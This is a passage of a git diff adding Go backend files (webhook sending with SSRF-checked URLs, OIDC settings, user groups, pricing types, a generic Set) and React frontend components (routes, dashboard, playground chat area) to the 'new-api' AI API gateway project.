+		// 检查响应状态
+		if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+			return fmt.Errorf("webhook request failed with status code: %d", resp.StatusCode)
+		}
+	} else {
+		// SSRF防护：验证Webhook URL（非Worker模式）
+		fetchSetting := system_setting.GetFetchSetting()
+		if err := common.ValidateURLWithFetchSetting(webhookURL, fetchSetting.EnableSSRFProtection, fetchSetting.AllowPrivateIp, fetchSetting.DomainFilterMode, fetchSetting.IpFilterMode, fetchSetting.DomainList, fetchSetting.IpList, fetchSetting.AllowedPorts, fetchSetting.ApplyIPFilterForDomain); err != nil {
+			return fmt.Errorf("request reject: %v", err)
+		}
+
+		req, err = http.NewRequest(http.MethodPost, webhookURL, bytes.NewBuffer(payloadBytes))
+		if err != nil {
+			return fmt.Errorf("failed to create webhook request: %v", err)
+		}
+
+		// 设置请求头
+		req.Header.Set("Content-Type", "application/json")
+
+		// 如果有 secret，生成签名
+		if secret != "" {
+			signature := generateSignature(secret, payloadBytes)
+			req.Header.Set("X-Webhook-Signature", signature)
+		}
+
+		// 发送请求
+		client := GetHttpClient()
+		resp, err = client.Do(req)
+		if err != nil {
+			return fmt.Errorf("failed to send webhook request: %v", err)
+		}
+		defer resp.Body.Close()
+
+		// 检查响应状态
+		if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+			return fmt.Errorf("webhook request failed with status code: %d", resp.StatusCode)
+		}
+	}
+
+	return nil
+}
diff --git a/new-api/setting/system_setting/oidc.go b/new-api/setting/system_setting/oidc.go
new file mode 100644
index 0000000..307d3b4
--- /dev/null
+++ b/new-api/setting/system_setting/oidc.go
@@ -0,0 +1,25 @@
+package system_setting
+
+import "github.com/QuantumNous/new-api/setting/config"
+
+type OIDCSettings struct {
+	Enabled               bool   `json:"enabled"`
+	ClientId              string `json:"client_id"`
+	ClientSecret          string `json:"client_secret"`
+	WellKnown             string `json:"well_known"`
+	AuthorizationEndpoint string `json:"authorization_endpoint"`
+	TokenEndpoint         string `json:"token_endpoint"`
+	UserInfoEndpoint      string `json:"user_info_endpoint"`
+}
+
+// 默认配置
+var defaultOIDCSettings = OIDCSettings{}
+
+func init() {
+	// 注册到全局配置管理器
+	config.GlobalConfig.Register("oidc", &defaultOIDCSettings)
+}
+
+func GetOIDCSettings() *OIDCSettings {
+	return &defaultOIDCSettings
+}
diff --git a/new-api/setting/user_usable_group.go b/new-api/setting/user_usable_group.go
new file mode 100644
index 0000000..eb04b7f
--- /dev/null
+++ b/new-api/setting/user_usable_group.go
@@ -0,0 +1,54 @@
+package setting
+
+import (
+	"encoding/json"
+	"sync"
+
+	"github.com/QuantumNous/new-api/common"
+)
+
+var userUsableGroups = map[string]string{
+	"default": "默认分组",
+	"vip":     "vip分组",
+}
+var userUsableGroupsMutex sync.RWMutex
+
+func GetUserUsableGroupsCopy() map[string]string {
+	userUsableGroupsMutex.RLock()
+	defer userUsableGroupsMutex.RUnlock()
+
+	copyUserUsableGroups := make(map[string]string)
+	for k, v := range userUsableGroups {
+		copyUserUsableGroups[k] = v
+	}
+	return copyUserUsableGroups
+}
+
+func UserUsableGroups2JSONString() string {
+	userUsableGroupsMutex.RLock()
+	defer userUsableGroupsMutex.RUnlock()
+
+	jsonBytes, err := json.Marshal(userUsableGroups)
+	if err != nil {
+		common.SysLog("error marshalling user groups: " + err.Error())
+	}
+	return string(jsonBytes)
+}
+
+func UpdateUserUsableGroupsByJSONString(jsonStr string) error {
+	userUsableGroupsMutex.Lock()
+	defer userUsableGroupsMutex.Unlock()
+
+	userUsableGroups = make(map[string]string)
+	return json.Unmarshal([]byte(jsonStr), &userUsableGroups)
+}
+
+func GetUsableGroupDescription(groupName string) string {
+	userUsableGroupsMutex.RLock()
+	defer userUsableGroupsMutex.RUnlock()
+
+	if desc, ok := userUsableGroups[groupName]; ok {
+		return desc
+	}
+	return groupName
+}
diff --git a/new-api/types/price_data.go b/new-api/types/price_data.go
new file mode 100644
index 0000000..93bc6ae
--- /dev/null
+++ b/new-api/types/price_data.go
@@ -0,0 +1,42 @@
+package types
+
+import "fmt"
+
+type GroupRatioInfo struct {
+	GroupRatio        float64
+	GroupSpecialRatio float64
+	HasSpecialRatio   bool
+}
+
+type PriceData struct {
+	FreeModel            bool
+	ModelPrice           float64
+	ModelRatio           float64
+	CompletionRatio      float64
+	CacheRatio           float64
+	CacheCreationRatio   float64
+	CacheCreation5mRatio float64
+	CacheCreation1hRatio float64
+	ImageRatio           float64
+	AudioRatio           float64
+	AudioCompletionRatio float64
+	OtherRatios          map[string]float64
+	UsePrice             bool
+	Quota                int // 按次计费的最终额度（MJ / Task）
+	QuotaToPreConsume    int // 按量计费的预消耗额度
+	GroupRatioInfo       GroupRatioInfo
+}
+
+func (p *PriceData) AddOtherRatio(key string, ratio float64) {
+	if p.OtherRatios == nil {
+		p.OtherRatios = make(map[string]float64)
+	}
+	if ratio <= 0 {
+		return
+	}
+	p.OtherRatios[key] = ratio
+}
+
+func (p *PriceData) ToSetting() string {
+	return fmt.Sprintf("ModelPrice: %f, ModelRatio: %f, CompletionRatio: %f, CacheRatio: %f, GroupRatio: %f, UsePrice: %t, CacheCreationRatio: %f, CacheCreation5mRatio: %f, CacheCreation1hRatio: %f, QuotaToPreConsume: %d, ImageRatio: %f, AudioRatio: %f, AudioCompletionRatio: %f", p.ModelPrice, p.ModelRatio, p.CompletionRatio, p.CacheRatio, p.GroupRatioInfo.GroupRatio, p.UsePrice, p.CacheCreationRatio, p.CacheCreation5mRatio, p.CacheCreation1hRatio, p.QuotaToPreConsume, p.ImageRatio, p.AudioRatio, p.AudioCompletionRatio)
+}
diff --git a/new-api/types/set.go b/new-api/types/set.go
new file mode 100644
index 0000000..db6b027
--- /dev/null
+++ b/new-api/types/set.go
@@ -0,0 +1,42 @@
+package types
+
+type Set[T comparable] struct {
+	items map[T]struct{}
+}
+
+// NewSet 创建并返回一个新的 Set
+func NewSet[T comparable]() *Set[T] {
+	return &Set[T]{
+		items: make(map[T]struct{}),
+	}
+}
+
+func (s *Set[T]) Add(item T) {
+	s.items[item] = struct{}{}
+}
+
+// Remove 从 Set 中移除一个元素
+func (s *Set[T]) Remove(item T) {
+	delete(s.items, item)
+}
+
+// Contains 检查 Set 是否包含某个元素
+func (s *Set[T]) Contains(item T) bool {
+	_, exists := s.items[item]
+	return exists
+}
+
+// Len 返回 Set 中元素的数量
+func (s *Set[T]) Len() int {
+	return len(s.items)
+}
+
+// Items 返回 Set 中所有元素组成的切片
+// 注意：由于 map 的无序性，返回的切片元素顺序是随机的
+func (s *Set[T]) Items() []T {
+	items := make([]T, 0, s.Len())
+	for item := range s.items {
+		items = append(items, item)
+	}
+	return items
+}
diff --git a/new-api/web/classic/public/pay-apple.png b/new-api/web/classic/public/pay-apple.png
new file mode 100644
index 0000000..b040f6e
Binary files /dev/null and b/new-api/web/classic/public/pay-apple.png differ
diff --git a/new-api/web/classic/src/App.jsx b/new-api/web/classic/src/App.jsx
new file mode 100644
index 0000000..a5d1ebc
--- /dev/null
+++ b/new-api/web/classic/src/App.jsx
@@ -0,0 +1,386 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { lazy, Suspense, useContext, useMemo } from 'react';
+import { Route, Routes, useLocation, useParams } from 'react-router-dom';
+import Loading from './components/common/ui/Loading';
+import User from './pages/User';
+import { AuthRedirect, PrivateRoute, AdminRoute } from './helpers';
+import RegisterForm from './components/auth/RegisterForm';
+import LoginForm from './components/auth/LoginForm';
+import NotFound from './pages/NotFound';
+import Forbidden from './pages/Forbidden';
+import Setting from './pages/Setting';
+import { StatusContext } from './context/Status';
+
+import PasswordResetForm from './components/auth/PasswordResetForm';
+import PasswordResetConfirm from './components/auth/PasswordResetConfirm';
+import Channel from './pages/Channel';
+import Token from './pages/Token';
+import Redemption from './pages/Redemption';
+import TopUp from './pages/TopUp';
+import Log from './pages/Log';
+import Chat from './pages/Chat';
+import Chat2Link from './pages/Chat2Link';
+import Midjourney from './pages/Midjourney';
+import Pricing from './pages/Pricing';
+import Task from './pages/Task';
+import ModelPage from './pages/Model';
+import ModelDeploymentPage from './pages/ModelDeployment';
+import Playground from './pages/Playground';
+import Subscription from './pages/Subscription';
+import OAuth2Callback from './components/auth/OAuth2Callback';
+import PersonalSetting from './components/settings/PersonalSetting';
+import Setup from './pages/Setup';
+import SetupCheck from './components/layout/SetupCheck';
+
+const Home = lazy(() => import('./pages/Home'));
+const Dashboard = lazy(() => import('./pages/Dashboard'));
+const About = lazy(() => import('./pages/About'));
+const UserAgreement = lazy(() => import('./pages/UserAgreement'));
+const PrivacyPolicy = lazy(() => import('./pages/PrivacyPolicy'));
+
+function DynamicOAuth2Callback() {
+  const { provider } = useParams();
+  return <OAuth2Callback type={provider} />;
+}
+
+function App() {
+  const location = useLocation();
+  const [statusState] = useContext(StatusContext);
+
+  // 获取模型广场权限配置
+  const pricingRequireAuth = useMemo(() => {
+    const headerNavModulesConfig = statusState?.status?.HeaderNavModules;
+    if (headerNavModulesConfig) {
+      try {
+        const modules = JSON.parse(headerNavModulesConfig);
+
+        // 处理向后兼容性：如果pricing是boolean，默认不需要登录
+        if (typeof modules.pricing === 'boolean') {
+          return false; // 默认不需要登录鉴权
+        }
+
+        // 如果是对象格式，使用requireAuth配置
+        return modules.pricing?.requireAuth === true;
+      } catch (error) {
+        console.error('解析顶栏模块配置失败:', error);
+        return false; // 默认不需要登录
+      }
+    }
+    return false; // 默认不需要登录
+  }, [statusState?.status?.HeaderNavModules]);
+
+  return (
+    <SetupCheck>
+      <Routes>
+        <Route
+          path='/'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <Home />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/setup'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <Setup />
+            </Suspense>
+          }
+        />
+        <Route path='/forbidden' element={<Forbidden />} />
+        <Route
+          path='/console/models'
+          element={
+            <AdminRoute>
+              <ModelPage />
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/console/deployment'
+          element={
+            <AdminRoute>
+              <ModelDeploymentPage />
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/console/subscription'
+          element={
+            <AdminRoute>
+              <Subscription />
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/console/channel'
+          element={
+            <AdminRoute>
+              <Channel />
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/console/token'
+          element={
+            <PrivateRoute>
+              <Token />
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console/playground'
+          element={
+            <PrivateRoute>
+              <Playground />
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console/redemption'
+          element={
+            <AdminRoute>
+              <Redemption />
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/console/user'
+          element={
+            <AdminRoute>
+              <User />
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/user/reset'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <PasswordResetConfirm />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/login'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <AuthRedirect>
+                <LoginForm />
+              </AuthRedirect>
+            </Suspense>
+          }
+        />
+        <Route
+          path='/register'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <AuthRedirect>
+                <RegisterForm />
+              </AuthRedirect>
+            </Suspense>
+          }
+        />
+        <Route
+          path='/reset'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <PasswordResetForm />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/oauth/github'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <OAuth2Callback type='github'></OAuth2Callback>
+            </Suspense>
+          }
+        />
+        <Route
+          path='/oauth/discord'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <OAuth2Callback type='discord'></OAuth2Callback>
+            </Suspense>
+          }
+        />
+        <Route
+          path='/oauth/oidc'
+          element={
+            <Suspense fallback={<Loading></Loading>}>
+              <OAuth2Callback type='oidc'></OAuth2Callback>
+            </Suspense>
+          }
+        />
+        <Route
+          path='/oauth/linuxdo'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <OAuth2Callback type='linuxdo'></OAuth2Callback>
+            </Suspense>
+          }
+        />
+        <Route
+          path='/oauth/:provider'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <DynamicOAuth2Callback />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/console/setting'
+          element={
+            <AdminRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <Setting />
+              </Suspense>
+            </AdminRoute>
+          }
+        />
+        <Route
+          path='/console/personal'
+          element={
+            <PrivateRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <PersonalSetting />
+              </Suspense>
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console/topup'
+          element={
+            <PrivateRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <TopUp />
+              </Suspense>
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console/log'
+          element={
+            <PrivateRoute>
+              <Log />
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console'
+          element={
+            <PrivateRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <Dashboard />
+              </Suspense>
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console/midjourney'
+          element={
+            <PrivateRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <Midjourney />
+              </Suspense>
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/console/task'
+          element={
+            <PrivateRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <Task />
+              </Suspense>
+            </PrivateRoute>
+          }
+        />
+        <Route
+          path='/pricing'
+          element={
+            pricingRequireAuth ? (
+              <PrivateRoute>
+                <Suspense
+                  fallback={<Loading></Loading>}
+                  key={location.pathname}
+                >
+                  <Pricing />
+                </Suspense>
+              </PrivateRoute>
+            ) : (
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <Pricing />
+              </Suspense>
+            )
+          }
+        />
+        <Route
+          path='/about'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <About />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/user-agreement'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <UserAgreement />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/privacy-policy'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <PrivacyPolicy />
+            </Suspense>
+          }
+        />
+        <Route
+          path='/console/chat/:id?'
+          element={
+            <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+              <Chat />
+            </Suspense>
+          }
+        />
+        {/* 方便使用chat2link直接跳转聊天... */}
+        <Route
+          path='/chat2link'
+          element={
+            <PrivateRoute>
+              <Suspense fallback={<Loading></Loading>} key={location.pathname}>
+                <Chat2Link />
+              </Suspense>
+            </PrivateRoute>
+          }
+        />
+        <Route path='*' element={<NotFound />} />
+      </Routes>
+    </SetupCheck>
+  );
+}
+
+export default App;
diff --git a/new-api/web/classic/src/components/dashboard/index.jsx b/new-api/web/classic/src/components/dashboard/index.jsx
new file mode 100644
index 0000000..811e23c
--- /dev/null
+++ b/new-api/web/classic/src/components/dashboard/index.jsx
@@ -0,0 +1,286 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useContext, useEffect } from 'react';
+import { getRelativeTime } from '../../helpers';
+import { UserContext } from '../../context/User';
+import { StatusContext } from '../../context/Status';
+
+import DashboardHeader from './DashboardHeader';
+import StatsCards from './StatsCards';
+import ChartsPanel from './ChartsPanel';
+import ApiInfoPanel from './ApiInfoPanel';
+import AnnouncementsPanel from './AnnouncementsPanel';
+import FaqPanel from './FaqPanel';
+import UptimePanel from './UptimePanel';
+import SearchModal from './modals/SearchModal';
+
+import { useDashboardData } from '../../hooks/dashboard/useDashboardData';
+import { useDashboardStats } from '../../hooks/dashboard/useDashboardStats';
+import { useDashboardCharts } from '../../hooks/dashboard/useDashboardCharts';
+
+import {
+  CHART_CONFIG,
+  CARD_PROPS,
+  FLEX_CENTER_GAP2,
+  ILLUSTRATION_SIZE,
+  ANNOUNCEMENT_LEGEND_DATA,
+  UPTIME_STATUS_MAP,
+} from '../../constants/dashboard.constants';
+import {
+  getTrendSpec,
+  handleCopyUrl,
+  handleSpeedTest,
+  getUptimeStatusColor,
+  getUptimeStatusText,
+  renderMonitorList,
+} from '../../helpers/dashboard';
+
+const Dashboard = () => {
+  // ========== Context ==========
+  const [userState, userDispatch] = useContext(UserContext);
+  const [statusState, statusDispatch] = useContext(StatusContext);
+
+  // ========== 主要数据管理 ==========
+  const dashboardData = useDashboardData(userState, userDispatch, statusState);
+
+  // ========== 图表管理 ==========
+  const dashboardCharts = useDashboardCharts(
+    dashboardData.dataExportDefaultTime,
+    dashboardData.setTrendData,
+    dashboardData.setConsumeQuota,
+    dashboardData.setTimes,
+    dashboardData.setConsumeTokens,
+    dashboardData.setPieData,
+    dashboardData.setLineData,
+    dashboardData.setModelColors,
+    dashboardData.t,
+  );
+
+  // ========== 统计数据 ==========
+  const { groupedStatsData } = useDashboardStats(
+    userState,
+    dashboardData.consumeQuota,
+    dashboardData.consumeTokens,
+    dashboardData.times,
+    dashboardData.trendData,
+    dashboardData.performanceMetrics,
+    dashboardData.navigate,
+    dashboardData.t,
+  );
+
+  // ========== 数据处理 ==========
+  const loadUserData = async () => {
+    if (dashboardData.isAdminUser) {
+      const userData = await dashboardData.loadUserQuotaData();
+      if (userData && userData.length > 0) {
+        dashboardCharts.updateUserChartData(userData);
+      }
+    }
+  };
+
+  const initChart = async () => {
+    await dashboardData.loadQuotaData().then((data) => {
+      if (data && data.length > 0) {
+        dashboardCharts.updateChartData(data);
+      }
+    });
+    await loadUserData();
+    await dashboardData.loadUptimeData();
+  };
+
+  const handleRefresh = async () => {
+    const data = await dashboardData.refresh();
+    if (data && data.length > 0) {
+      dashboardCharts.updateChartData(data);
+    }
+    await loadUserData();
+  };
+
+  const handleSearchConfirm = async () => {
+    await dashboardData.handleSearchConfirm(dashboardCharts.updateChartData);
+    await loadUserData();
+  };
+
+  // ========== 数据准备 ==========
+  const apiInfoData = statusState?.status?.api_info || [];
+  const announcementData = (statusState?.status?.announcements || []).map(
+    (item) => {
+      const pubDate = item?.publishDate ? new Date(item.publishDate) : null;
+      const absoluteTime =
+        pubDate && !isNaN(pubDate.getTime())
+          ? `${pubDate.getFullYear()}-${String(pubDate.getMonth() + 1).padStart(2, '0')}-${String(pubDate.getDate()).padStart(2, '0')} ${String(pubDate.getHours()).padStart(2, '0')}:${String(pubDate.getMinutes()).padStart(2, '0')}`
+          : item?.publishDate || '';
+      const relativeTime = getRelativeTime(item.publishDate);
+      return {
+        ...item,
+        time: absoluteTime,
+        relative: relativeTime,
+      };
+    },
+  );
+  const faqData = statusState?.status?.faq || [];
+
+  const uptimeLegendData = Object.entries(UPTIME_STATUS_MAP).map(
+    ([status, info]) => ({
+      status: Number(status),
+      color: info.color,
+      label: dashboardData.t(info.label),
+    }),
+  );
+
+  // ========== Effects ==========
+  useEffect(() => {
+    initChart();
+  }, []);
+
+  return (
+    <div className='h-full'>
+      <DashboardHeader
+        getGreeting={dashboardData.getGreeting}
+        greetingVisible={dashboardData.greetingVisible}
+        showSearchModal={dashboardData.showSearchModal}
+        refresh={handleRefresh}
+        loading={dashboardData.loading}
+        t={dashboardData.t}
+      />
+
+      <SearchModal
+        searchModalVisible={dashboardData.searchModalVisible}
+        handleSearchConfirm={handleSearchConfirm}
+        handleCloseModal={dashboardData.handleCloseModal}
+        isMobile={dashboardData.isMobile}
+        isAdminUser={dashboardData.isAdminUser}
+        inputs={dashboardData.inputs}
+        dataExportDefaultTime={dashboardData.dataExportDefaultTime}
+        timeOptions={dashboardData.timeOptions}
+        handleInputChange={dashboardData.handleInputChange}
+        t={dashboardData.t}
+      />
+
+      <StatsCards
+        groupedStatsData={groupedStatsData}
+        loading={dashboardData.loading}
+        getTrendSpec={getTrendSpec}
+        CARD_PROPS={CARD_PROPS}
+        CHART_CONFIG={CHART_CONFIG}
+      />
+
+      {/* API信息和图表面板 */}
+      <div className='mb-4'>
+        <div
+          className={`grid grid-cols-1 gap-4 ${dashboardData.hasApiInfoPanel ? 'lg:grid-cols-4' : ''}`}
+        >
+          <ChartsPanel
+            activeChartTab={dashboardData.activeChartTab}
+            setActiveChartTab={dashboardData.setActiveChartTab}
+            spec_line={dashboardCharts.spec_line}
+            spec_model_line={dashboardCharts.spec_model_line}
+            spec_pie={dashboardCharts.spec_pie}
+            spec_rank_bar={dashboardCharts.spec_rank_bar}
+            spec_user_rank={dashboardCharts.spec_user_rank}
+            spec_user_trend={dashboardCharts.spec_user_trend}
+            isAdminUser={dashboardData.isAdminUser}
+            CARD_PROPS={CARD_PROPS}
+            CHART_CONFIG={CHART_CONFIG}
+            FLEX_CENTER_GAP2={FLEX_CENTER_GAP2}
+            hasApiInfoPanel={dashboardData.hasApiInfoPanel}
+            t={dashboardData.t}
+          />
+
+          {dashboardData.hasApiInfoPanel && (
+            <ApiInfoPanel
+              apiInfoData={apiInfoData}
+              handleCopyUrl={(url) => handleCopyUrl(url, dashboardData.t)}
+              handleSpeedTest={handleSpeedTest}
+              CARD_PROPS={CARD_PROPS}
+              FLEX_CENTER_GAP2={FLEX_CENTER_GAP2}
+              ILLUSTRATION_SIZE={ILLUSTRATION_SIZE}
+              t={dashboardData.t}
+            />
+          )}
+        </div>
+      </div>
+
+      {/* 系统公告和常见问答卡片 */}
+      {dashboardData.hasInfoPanels && (
+        <div className='mb-4'>
+          <div className='grid grid-cols-1 lg:grid-cols-4 gap-4'>
+            {/* 公告卡片 */}
+            {dashboardData.announcementsEnabled && (
+              <AnnouncementsPanel
+                announcementData={announcementData}
+                announcementLegendData={ANNOUNCEMENT_LEGEND_DATA.map(
+                  (item) => ({
+                    ...item,
+                    label: dashboardData.t(item.label),
+                  }),
+                )}
+                CARD_PROPS={CARD_PROPS}
+                ILLUSTRATION_SIZE={ILLUSTRATION_SIZE}
+                t={dashboardData.t}
+              />
+            )}
+
+            {/* 常见问答卡片 */}
+            {dashboardData.faqEnabled && (
+              <FaqPanel
+                faqData={faqData}
+                CARD_PROPS={CARD_PROPS}
+                FLEX_CENTER_GAP2={FLEX_CENTER_GAP2}
+                ILLUSTRATION_SIZE={ILLUSTRATION_SIZE}
+                t={dashboardData.t}
+              />
+            )}
+
+            {/* 服务可用性卡片 */}
+            {dashboardData.uptimeEnabled && (
+              <UptimePanel
+                uptimeData={dashboardData.uptimeData}
+                uptimeLoading={dashboardData.uptimeLoading}
+                activeUptimeTab={dashboardData.activeUptimeTab}
+                setActiveUptimeTab={dashboardData.setActiveUptimeTab}
+                loadUptimeData={dashboardData.loadUptimeData}
+                uptimeLegendData={uptimeLegendData}
+                renderMonitorList={(monitors) =>
+                  renderMonitorList(
+                    monitors,
+                    (status) => getUptimeStatusColor(status, UPTIME_STATUS_MAP),
+                    (status) =>
+                      getUptimeStatusText(
+                        status,
+                        UPTIME_STATUS_MAP,
+                        dashboardData.t,
+                      ),
+                    dashboardData.t,
+                  )
+                }
+                CARD_PROPS={CARD_PROPS}
+                ILLUSTRATION_SIZE={ILLUSTRATION_SIZE}
+                t={dashboardData.t}
+              />
+            )}
+          </div>
+        </div>
+      )}
+    </div>
+  );
+};
+
+export default Dashboard;
diff --git a/new-api/web/classic/src/components/layout/headerbar/NewYearButton.jsx b/new-api/web/classic/src/components/layout/headerbar/NewYearButton.jsx
new file mode 100644
index 0000000..4f007c5
--- /dev/null
+++ b/new-api/web/classic/src/components/layout/headerbar/NewYearButton.jsx
@@ -0,0 +1,62 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Button, Dropdown } from '@douyinfe/semi-ui';
+import fireworks from 'react-fireworks';
+
+const NewYearButton = ({ isNewYear }) => {
+  if (!isNewYear) {
+    return null;
+  }
+
+  const handleNewYearClick = () => {
+    fireworks.init('root', {});
+    fireworks.start();
+    setTimeout(() => {
+      fireworks.stop();
+    }, 3000);
+  };
+
+  return (
+    <Dropdown
+      position='bottomRight'
+      render={
+        <Dropdown.Menu className='!bg-semi-color-bg-overlay !border-semi-color-border !shadow-lg !rounded-lg dark:!bg-gray-700 dark:!border-gray-600'>
+          <Dropdown.Item
+            onClick={handleNewYearClick}
+            className='!text-semi-color-text-0 hover:!bg-semi-color-fill-1 dark:!text-gray-200 dark:hover:!bg-gray-600'
+          >
+            Happy New Year!!! 🎉
+          </Dropdown.Item>
+        </Dropdown.Menu>
+      }
+    >
+      <Button
+        theme='borderless'
+        type='tertiary'
+        icon={<span className='text-xl'>🎉</span>}
+        aria-label='New Year'
+        className='!p-1.5 !text-current focus:!bg-semi-color-fill-1 dark:focus:!bg-gray-700 rounded-full'
+      />
+    </Dropdown>
+  );
+};
+
+export default NewYearButton;
diff --git a/new-api/web/classic/src/components/playground/ChatArea.jsx b/new-api/web/classic/src/components/playground/ChatArea.jsx
new file mode 100644
index 0000000..2c65731
--- /dev/null
+++ b/new-api/web/classic/src/components/playground/ChatArea.jsx
@@ -0,0 +1,129 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Card, Chat, Typography, Button } from '@douyinfe/semi-ui';
+import { MessageSquare, Eye, EyeOff } from 'lucide-react';
+import { useTranslation } from 'react-i18next';
+import CustomInputRender from './CustomInputRender';
+
+const ChatArea = ({
+  chatRef,
+  message,
+  inputs,
+  styleState,
+  showDebugPanel,
+  roleInfo,
+  onMessageSend,
+  onMessageCopy,
+  onMessageReset,
+  onMessageDelete,
+  onStopGenerator,
+  onClearMessages,
+  onToggleDebugPanel,
+  renderCustomChatContent,
+  renderChatBoxAction,
+}) => {
+  const { t } = useTranslation();
+
+  const renderInputArea = React.useCallback((props) => {
+    return <CustomInputRender {...props} />;
+  }, []);
+
+  return (
+    <Card
+      className='h-full'
+      bordered={false}
+      bodyStyle={{
+        padding: 0,
+        height: 'calc(100vh - 66px)',
+        display: 'flex',
+        flexDirection: 'column',
+        overflow: 'hidden',
+      }}
+    >
+      {/* 聊天头部 */}
+      {styleState.isMobile ? (
+        <div className='pt-4'></div>
+      ) : (
+        <div className='px-6 py-4 bg-gradient-to-r from-purple-500 to-blue-500 rounded-t-2xl'>
+          <div className='flex items-center justify-between'>
+            <div className='flex items-center gap-3'>
+              <div className='w-10 h-10 rounded-full bg-white/20 backdrop-blur flex items-center justify-center'>
+                <MessageSquare size={20} className='text-white' />
+              </div>
+              <div>
+                <Typography.Title heading={5} className='!text-white mb-0'>
+                  {t('AI 对话')}
+                </Typography.Title>
+                <Typography.Text className='!text-white/80 text-sm hidden sm:inline'>
+                  {inputs.model || t('选择模型开始对话')}
+                </Typography.Text>
+              </div>
+            </div>
+            <div className='flex items-center gap-2'>
+              <Button
+                icon={showDebugPanel ? <EyeOff size={14} /> : <Eye size={14} />}
+                onClick={onToggleDebugPanel}
+                theme='borderless'
+                type='primary'
+                size='small'
+                className='!rounded-lg !text-white/80 hover:!text-white hover:!bg-white/10'
+              >
+                {showDebugPanel ? t('隐藏调试') : t('显示调试')}
+              </Button>
+            </div>
+          </div>
+        </div>
+      )}
+
+      {/* 聊天内容区域 */}
+      <div className='flex-1 overflow-hidden'>
+        <Chat
+          ref={chatRef}
+          chatBoxRenderConfig={{
+            renderChatBoxContent: renderCustomChatContent,
+            renderChatBoxAction: renderChatBoxAction,
